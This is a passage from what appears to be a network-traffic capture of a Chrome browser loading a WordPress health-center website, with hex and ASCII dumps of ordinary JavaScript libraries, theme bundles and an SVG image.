all like "You images are done yet or what?" * MIT License */!function(t,e){"object"==typeof module&&module.exports?module.exports=e():t.EvEmitter=e()}("undefined"!=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49799	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:20 UTC	560	OUT	GET /wp-includes/js/masonry.min.js?ver=4.2.2 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:21 UTC	430	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:20 GMT Content-Type: application/javascript Content-Length: 24138 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sat, 13 Jun 2020 18:53:27 GMT Vary: Accept-Encoding ETag: "5ee520a7-5e4a" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:21 UTC	15954	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2f 2a 21 0a 20 2a 20 4d 61 73 6f 6e 72 79 20 50 41 43 4b 41 47 45 44 20 76 34 2e 32 2e 32 0a 20 2a 20 43 61 73 63 61 64 69 6e 67 20 67 72 69 64 20 6c 61 79 6f 75 74 20 6c 69 62 72 61 72 79 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6d 61 73 6f 6e 72 79 2e 64 65 73 61 6e 64 72 6f 2e 63 6f 6d 0a 20 2a 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 20 2a 20 62 79 20 44 61 76 69 64 20 44 65 53 61 6e 64 72 6f 0a 20 2a 2f 0a 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 6a 71 75 65 72 79 2d 62 72 69 64 67 65 74 2f 6a 71 75 65 72 79 2d Data Ascii: /! This file is auto-generated //! Masonry PACKAGED v4.2.2 * Cascading grid layout library * https://masonry.desandro.com * MIT License * by David DeSandro */!function(t,e){"function"==typeof define&&define.amd?define("jquery-bridget/jquery-
2024-04-24 12:44:21 UTC	8184	IN	Data Raw: 72 4c 61 79 6f 75 74 28 74 29 2c 74 68 69 73 2e 5f 6c 61 79 6f 75 74 49 74 65 6d 73 28 74 2c 65 29 2c 74 68 69 73 2e 5f 70 6f 73 74 4c 61 79 6f 75 74 28 29 7d 2c 66 2e 5f 67 65 74 49 74 65 6d 73 46 6f 72 4c 61 79 6f 75 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 21 74 2e 69 73 49 67 6e 6f 72 65 64 7d 29 7d 2c 66 2e 5f 6c 61 79 6f 75 74 49 74 65 6d 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 74 68 69 73 2e 5f 65 6d 69 74 43 6f 6d 70 6c 65 74 65 4f 6e 49 74 65 6d 73 28 22 6c 61 79 6f 75 74 22 2c 74 29 2c 74 26 26 74 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 69 3d 5b 5d 3b 74 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 Data Ascii: rLayout(t),this._layoutItems(t,e),this._postLayout()},f._getItemsForLayout=function(t){return t.filter(function(t){return!t.isIgnored})},f._layoutItems=function(t,e){if(this._emitCompleteOnItems("layout",t),t&&t.length){var i=[];t.forEach(function(t){var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49800	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:20 UTC	394	OUT	GET /wp-content/themes/vpchc/images/img__decor--dots.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:21 UTC	421	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:20 GMT Content-Type: image/svg+xml Content-Length: 22315 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:35 GMT Vary: Accept-Encoding ETag: "64f5a127-572b" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:21 UTC	15963	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 31 32 33 22 20 68 65 69 67 68 74 3d 22 31 31 31 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 33 20 31 31 31 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 37 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 2e 34 30 32 31 37 20 31 2e 37 30 31 30 39 43 32 2e 34 30 32 31 37 20 32 2e 33 36 34 34 33 20 31 2e 38 36 34 34 33 20 32 2e 39 30 32 31 37 20 31 2e 32 30 31 30 39 20 32 2e 39 30 32 31 37 43 30 2e 35 33 37 37 34 35 20 32 2e 39 30 32 31 37 20 30 20 32 2e 33 36 34 34 33 20 Data Ascii: <svg width="123" height="111" viewBox="0 0 123 111" fill="none" xmlns="http://www.w3.org/2000/svg"><path opacity="0.7" fill-rule="evenodd" clip-rule="evenodd" d="M2.40217 1.70109C2.40217 2.36443 1.86443 2.90217 1.20109 2.90217C0.537745 2.90217 0 2.36443
2024-04-24 12:44:21 UTC	6352	IN	Data Raw: 35 20 31 34 2e 34 31 33 20 38 35 2e 37 37 37 32 43 31 34 2e 34 31 33 20 38 35 2e 31 31 33 38 20 31 33 2e 38 37 35 33 20 38 34 2e 35 37 36 31 20 31 33 2e 32 31 32 20 38 34 2e 35 37 36 31 43 31 32 2e 35 34 38 36 20 38 34 2e 35 37 36 31 20 31 32 2e 30 31 30 39 20 38 35 2e 31 31 33 38 20 31 32 2e 30 31 30 39 20 38 35 2e 37 37 37 32 43 31 32 2e 30 31 30 39 20 38 36 2e 34 34 30 35 20 31 32 2e 35 34 38 36 20 38 36 2e 39 37 38 33 20 31 33 2e 32 31 32 20 38 36 2e 39 37 38 33 5a 4d 32 36 2e 34 32 33 39 20 38 35 2e 37 37 37 32 43 32 36 2e 34 32 33 39 20 38 36 2e 34 34 30 35 20 32 35 2e 38 38 36 32 20 38 36 2e 39 37 38 33 20 32 35 2e 32 32 32 38 20 38 36 2e 39 37 38 33 43 32 34 2e 35 35 39 35 20 38 36 2e 39 37 38 33 20 32 34 2e 30 32 31 37 20 38 36 2e 34 34 30 35 20 Data Ascii: 5 14.413 85.7772C14.413 85.1138 13.8753 84.5761 13.212 84.5761C12.5486 84.5761 12.0109 85.1138 12.0109 85.7772C12.0109 86.4405 12.5486 86.9783 13.212 86.9783ZM26.4239 85.7772C26.4239 86.4405 25.8862 86.9783 25.2228 86.9783C24.5595 86.9783 24.0217 86.4405

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49801	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:20 UTC	601	OUT	GET /wp-content/plugins/wp-blog-post-layouts/includes/assets/js/frontend.js?ver=1.1.3 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:21 UTC	427	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:21 GMT Content-Type: application/javascript Content-Length: 786 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 23 Apr 2024 09:50:51 GMT Vary: Accept-Encoding ETag: "6627847b-312" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:21 UTC	786	IN	Data Raw: 2f 2a 2a 0d 0a 20 2a 20 48 61 6e 64 6c 65 73 20 74 68 65 20 65 76 65 6e 74 73 20 69 6e 20 74 68 65 20 70 75 62 6c 69 63 20 66 61 63 69 6e 67 20 77 69 6e 64 6f 77 2e 0d 0a 20 2a 2f 0d 0a 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 20 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 0d 0a 20 20 20 20 22 75 73 65 20 73 74 72 69 63 74 22 3b 0d 0a 20 20 20 20 2f 2a 2a 0d 0a 20 20 20 20 20 2a 20 4d 61 73 6f 6e 72 79 20 6c 61 79 6f 75 74 20 66 6f 72 20 62 6c 6f 63 6b 2e 0d 0a 20 20 20 20 20 2a 2f 0d 0a 20 20 20 20 2f 2f 20 24 28 20 27 2e 63 76 2d 62 6c 6f 63 6b 27 20 29 2e 65 61 63 68 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 2f 2f 20 20 20 20 20 76 61 72 20 50 69 64 20 3d 20 24 28 74 68 69 73 29 2e 61 74 74 72 28 27 69 64 Data Ascii: /** * Handles the events in the public facing window. /jQuery(document).ready( function($) { "use strict"; /* * Masonry layout for block. */ // $( '.cv-block' ).each( function() { // var Pid = $(this).attr('id

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49805	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:21 UTC	589	OUT	GET /wp-content/themes/vpchc/dist/default_page.bundle.js?ver=230904-91951 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:22 UTC	430	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:22 GMT Content-Type: application/javascript Content-Length: 29911 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:51 GMT Vary: Accept-Encoding ETag: "64f5a137-74d7" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:22 UTC	15954	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 72 2c 61 2c 63 3d 74 5b 30 5d 2c 6c 3d 74 5b 31 5d 2c 75 3d 74 5b 32 5d 2c 64 3d 30 2c 66 3d 5b 5d 3b 64 3c 63 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 61 3d 63 5b 64 5d 2c 6f 5b 61 5d 26 26 66 2e 70 75 73 68 28 6f 5b 61 5d 5b 30 5d 29 2c 6f 5b 61 5d 3d 30 3b 66 6f 72 28 72 20 69 6e 20 6c 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6c 2c 72 29 26 26 28 65 5b 72 5d 3d 6c 5b 72 5d 29 3b 66 6f 72 28 73 26 26 73 28 74 29 3b 66 2e 6c 65 6e 67 74 68 3b 29 66 2e 73 68 69 66 74 28 29 28 29 3b 72 65 74 75 72 6e 20 69 2e 70 75 73 68 2e 61 70 70 6c 79 28 69 2c 75 7c 7c 5b 5d 29 2c 6e 28 29 7d 66 75 Data Ascii: !function(e){function t(t){for(var r,a,c=t[0],l=t[1],u=t[2],d=0,f=[];d<c.length;d++)a=c[d],o[a]&&f.push(o[a][0]),o[a]=0;for(r in l)Object.prototype.hasOwnProperty.call(l,r)&&(e[r]=l[r]);for(s&&s(t);f.length;)f.shift()();return i.push.apply(i,u\|\|[]),n()}fu
2024-04-24 12:44:22 UTC	13957	IN	Data Raw: 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 4c 49 22 29 3b 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 6d 61 67 69 63 2d 6c 69 6e 65 22 29 2c 66 2e 6e 61 76 69 67 61 74 69 6f 6e 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6e 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 6d 28 21 31 29 3b 69 66 28 65 26 26 66 2e 6e 61 76 69 67 61 74 69 6f 6e 43 75 72 72 65 6e 74 49 74 65 6d 29 69 66 28 66 2e 6e 61 76 69 67 61 74 69 6f 6e 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 6d 61 69 6e 2d 6d 65 6e 75 5f 5f 69 74 65 6d 2d 2d 70 61 72 65 6e 74 2d 2d 61 63 74 69 76 65 20 3e 20 6c 61 62 65 6c 22 29 29 7b 76 61 72 20 74 3d 66 2e 6e 61 76 69 67 61 74 69 6f 6e 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 6d Data Ascii: r n=document.createElement("LI");n.classList.add("magic-line"),f.navigation.appendChild(n),function(){var e=m(!1);if(e&&f.navigationCurrentItem)if(f.navigation.querySelector(".main-menu__item--parent--active > label")){var t=f.navigation.querySelector(".m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49806	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:23 UTC	583	OUT	GET /wp-content/themes/vpchc/dist/vendor.bundle.js?ver=230904-92000 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:24 UTC	432	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:23 GMT Content-Type: application/javascript Content-Length: 334711 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:20:00 GMT Vary: Accept-Encoding ETag: "64f5a140-51b77" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:24 UTC	15952	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 76 65 6e 64 6f 72 2e 62 75 6e 64 6c 65 2e 6a 73 2e 4c 49 43 45 4e 53 45 20 2a 2f 0a 28 77 69 6e 64 6f 77 2e 77 65 62 70 61 63 6b 4a 73 6f 6e 70 3d 77 69 6e 64 6f 77 2e 77 65 62 70 61 63 6b 4a 73 6f 6e 70 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 30 5d 2c 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 69 3d 6e 28 31 37 37 29 2c 6f 3d 6e 28 31 32 31 29 2c 72 3d 6e 28 38 37 29 2c 61 3d 6e 28 37 34 29 2c 73 3d 6e 28 38 35 29 2c 6c 3d 6e 28 31 30 31 29 2c 63 3d 6e 28 34 38 29 2c 75 3d 63 28 22 69 74 65 72 61 74 6f 72 22 29 2c 64 3d 63 28 22 74 6f 53 74 72 69 6e 67 54 61 67 22 29 2c 68 3d 6c 2e 41 72 72 61 79 2c 66 3d 7b Data Ascii: /! For license information please see vendor.bundle.js.LICENSE /(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[0],[function(t,e,n){for(var i=n(177),o=n(121),r=n(87),a=n(74),s=n(85),l=n(101),c=n(48),u=c("iterator"),d=c("toStringTag"),h=l.Array,f={
2024-04-24 12:44:24 UTC	16384	IN	Data Raw: 64 6f 77 57 69 64 74 68 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 7c 7c 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 57 69 64 74 68 7c 7c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 6c 69 65 6e 74 57 69 64 74 68 7d 7d 5d 29 2c 74 7d 28 29 2c 63 3d 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 28 69 50 61 64 29 7c 28 69 50 68 6f 6e 65 29 7c 28 69 50 6f 64 29 7c 28 41 6e 64 72 6f 69 64 29 7c 28 50 6c 61 79 42 6f 6f 6b 29 7c 28 42 42 31 30 29 7c 28 42 6c 61 63 6b 42 65 72 72 79 29 7c 28 4f 70 65 72 61 20 4d 69 6e 69 29 7c 28 49 45 4d 6f 62 69 6c 65 29 7c 28 77 65 62 4f 53 29 7c 28 4d 65 65 Data Ascii: dowWidth",value:function(){return window.innerWidth\|\|document.documentElement.clientWidth\|\|document.body.clientWidth}}]),t}(),c=navigator.userAgent.match(/(iPad)\|(iPhone)\|(iPod)\|(Android)\|(PlayBook)\|(BB10)\|(BlackBerry)\|(Opera Mini)\|(IEMobile)\|(webOS)\|(Mee
2024-04-24 12:44:24 UTC	16384	IN	Data Raw: 7b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 61 74 74 65 6d 70 74 20 74 6f 20 73 70 72 65 61 64 20 6e 6f 6e 2d 69 74 65 72 61 62 6c 65 20 69 6e 73 74 61 6e 63 65 22 29 7d 28 29 7d 28 6f 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 45 28 74 2c 22 66 6f 63 75 73 65 64 22 29 7d 29 3b 69 66 28 21 72 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 2e 67 62 74 6e 5b 74 61 62 69 6e 64 65 78 3d 22 30 22 5d 27 29 3b 72 65 74 75 72 6e 20 76 6f 69 64 28 61 26 26 28 61 2e 66 6f 63 75 73 28 29 2c 54 28 61 2c 22 66 6f 63 75 73 65 64 22 29 29 29 7d 6f 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 Data Ascii: {throw new TypeError("Invalid attempt to spread non-iterable instance")}()}(o).filter(function(t){return E(t,"focused")});if(!r.length){var a=document.querySelector('.gbtn[tabindex="0"]');return void(a&&(a.focus(),T(a,"focused")))}o.forEach(function(t){re
2024-04-24 12:44:24 UTC	16384	IN	Data Raw: 3a 65 7d 69 66 28 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 74 29 72 65 74 75 72 6e 20 30 3d 3d 3d 74 3f 74 3a 2b 74 3b 74 3d 74 2e 72 65 70 6c 61 63 65 28 54 2c 22 22 29 3b 76 61 72 20 6e 3d 45 2e 74 65 73 74 28 74 29 3b 72 65 74 75 72 6e 20 6e 7c 7c 53 2e 74 65 73 74 28 74 29 3f 41 28 74 2e 73 6c 69 63 65 28 32 29 2c 6e 3f 32 3a 38 29 3a 78 2e 74 65 73 74 28 74 29 3f 77 3a 2b 74 7d 76 61 72 20 7a 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 69 2c 6f 2c 72 2c 61 2c 73 2c 6c 2c 63 3d 30 2c 75 3d 21 31 2c 64 3d 21 31 2c 68 3d 21 30 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 45 78 70 65 63 74 65 64 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 Data Ascii: :e}if("string"!=typeof t)return 0===t?t:+t;t=t.replace(T,"");var n=E.test(t);return n\|\|S.test(t)?A(t.slice(2),n?2:8):x.test(t)?w:+t}var z=function(t,e,n){var i,o,r,a,s,l,c=0,u=!1,d=!1,h=!0;if("function"!=typeof t)throw new TypeError("Expected a function")
2024-04-24 12:44:24 UTC	16384	IN	Data Raw: 73 65 72 41 67 65 6e 74 2c 6e 65 77 20 52 65 67 45 78 70 28 5b 22 4d 53 49 45 20 22 2c 22 54 72 69 64 65 6e 74 2f 22 2c 22 45 64 67 65 2f 22 5d 2e 6a 6f 69 6e 28 22 7c 22 29 29 2e 74 65 73 74 28 6e 29 3f 31 3a 30 29 3b 74 2e 73 63 72 6f 6c 6c 3d 74 2e 73 63 72 6f 6c 6c 54 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 26 26 28 21 30 21 3d 3d 63 28 61 72 67 75 6d 65 6e 74 73 5b 30 5d 29 3f 70 2e 63 61 6c 6c 28 74 2c 65 2e 62 6f 64 79 2c 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 6c 65 66 74 3f 7e 7e 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 6c 65 66 74 3a 74 2e 73 63 72 6f 6c 6c 58 7c 7c 74 2e 70 61 67 65 58 4f 66 66 73 65 74 2c 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: serAgent,new RegExp(["MSIE ","Trident/","Edge/"].join("\|")).test(n)?1:0);t.scroll=t.scrollTo=function(){void 0!==arguments[0]&&(!0!==c(arguments[0])?p.call(t,e.body,void 0!==arguments[0].left?~~arguments[0].left:t.scrollX\|\|t.pageXOffset,void 0!==arguments
2024-04-24 12:44:24 UTC	16384	IN	Data Raw: 6c 65 6e 67 74 68 2c 76 3d 76 6f 69 64 20 30 2c 79 3d 30 3b 79 3c 67 3b 79 2b 2b 29 7b 76 61 72 20 62 3d 76 6f 69 64 20 30 2c 6b 3d 63 2e 74 6f 2e 6e 75 6d 62 65 72 73 5b 79 5d 2c 54 3d 63 2e 66 72 6f 6d 2e 6e 75 6d 62 65 72 73 5b 79 5d 7c 7c 30 3b 62 3d 63 2e 69 73 50 61 74 68 3f 71 28 63 2e 76 61 6c 75 65 2c 68 2a 6b 29 3a 54 2b 68 2a 28 6b 2d 54 29 2c 70 26 26 28 63 2e 69 73 43 6f 6c 6f 72 26 26 79 3e 32 7c 7c 28 62 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 62 2a 70 29 2f 70 29 29 2c 6d 2e 70 75 73 68 28 62 29 7d 76 61 72 20 78 3d 66 2e 6c 65 6e 67 74 68 3b 69 66 28 78 29 7b 76 3d 66 5b 30 5d 3b 66 6f 72 28 76 61 72 20 45 3d 30 3b 45 3c 78 3b 45 2b 2b 29 7b 66 5b 45 5d 3b 76 61 72 20 53 3d 66 5b 45 2b 31 5d 2c 41 3d 6d 5b 45 5d 3b 69 73 4e 61 4e 28 41 29 7c Data Ascii: length,v=void 0,y=0;y<g;y++){var b=void 0,k=c.to.numbers[y],T=c.from.numbers[y]\|\|0;b=c.isPath?q(c.value,hk):T+h(k-T),p&&(c.isColor&&y>2\|\|(b=Math.round(b*p)/p)),m.push(b)}var x=f.length;if(x){v=f[0];for(var E=0;E<x;E++){f[E];var S=f[E+1],A=m[E];isNaN(A)\|
2024-04-24 12:44:24 UTC	16384	IN	Data Raw: 28 74 29 7b 74 3d 46 69 28 74 29 3b 76 61 72 20 65 3d 5b 69 2e 4c 45 46 54 2c 69 2e 52 49 47 48 54 5d 2e 69 6e 64 65 78 4f 66 28 74 2e 6b 65 79 43 6f 64 65 29 3b 65 3e 3d 30 26 26 50 69 28 74 2c 30 3d 3d 3d 65 3f 2d 31 3a 31 29 7d 7d 2c 4e 65 3d 7b 74 6f 75 63 68 73 74 61 72 74 3a 59 69 2c 74 6f 75 63 68 6d 6f 76 65 3a 58 69 2c 74 6f 75 63 68 65 6e 64 3a 55 69 2c 74 6f 75 63 68 63 61 6e 63 65 6c 3a 55 69 7d 2c 4f 65 3d 7b 6d 6f 75 73 65 64 6f 77 6e 3a 59 69 2c 6d 6f 75 73 65 6d 6f 76 65 3a 58 69 2c 6d 6f 75 73 65 75 70 3a 55 69 2c 6d 6f 75 73 65 6c 65 61 76 65 3a 55 69 7d 2c 50 65 3d 49 6e 28 22 63 6f 6e 74 72 6f 6c 73 22 29 2c 49 65 3d 49 6e 28 22 6e 61 76 22 29 2c 5f 65 3d 21 21 41 74 7c 7c 74 2e 6e 61 76 41 73 54 68 75 6d 62 6e 61 69 6c 73 2c 6a 65 3d Data Ascii: (t){t=Fi(t);var e=[i.LEFT,i.RIGHT].indexOf(t.keyCode);e>=0&&Pi(t,0===e?-1:1)}},Ne={touchstart:Yi,touchmove:Xi,touchend:Ui,touchcancel:Ui},Oe={mousedown:Yi,mousemove:Xi,mouseup:Ui,mouseleave:Ui},Pe=In("controls"),Ie=In("nav"),_e=!!At\|\|t.navAsThumbnails,je=
2024-04-24 12:44:24 UTC	16384	IN	Data Raw: 65 64 22 29 7d 66 75 6e 63 74 69 6f 6e 20 62 69 28 74 2c 65 2c 6e 29 7b 74 3f 65 2e 64 69 73 61 62 6c 65 64 3d 6e 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 64 69 73 61 62 6c 65 64 22 2c 6e 2e 74 6f 53 74 72 69 6e 67 28 29 29 7d 66 75 6e 63 74 69 6f 6e 20 77 69 28 29 7b 69 66 28 46 74 26 26 21 44 74 26 26 21 42 74 29 7b 76 61 72 20 74 3d 57 65 3f 58 65 2e 64 69 73 61 62 6c 65 64 3a 79 69 28 58 65 29 2c 65 3d 71 65 3f 55 65 2e 64 69 73 61 62 6c 65 64 3a 79 69 28 55 65 29 2c 6e 3d 6c 65 3c 3d 75 65 2c 69 3d 21 44 74 26 26 6c 65 3e 3d 64 65 3b 6e 26 26 21 74 26 26 62 69 28 57 65 2c 58 65 2c 21 30 29 2c 21 6e 26 26 74 26 26 62 69 28 57 65 2c 58 65 2c 21 31 29 2c 69 26 26 21 65 26 26 62 69 28 71 65 2c 55 65 2c 21 30 29 2c 21 69 26 26 65 Data Ascii: ed")}function bi(t,e,n){t?e.disabled=n:e.setAttribute("aria-disabled",n.toString())}function wi(){if(Ft&&!Dt&&!Bt){var 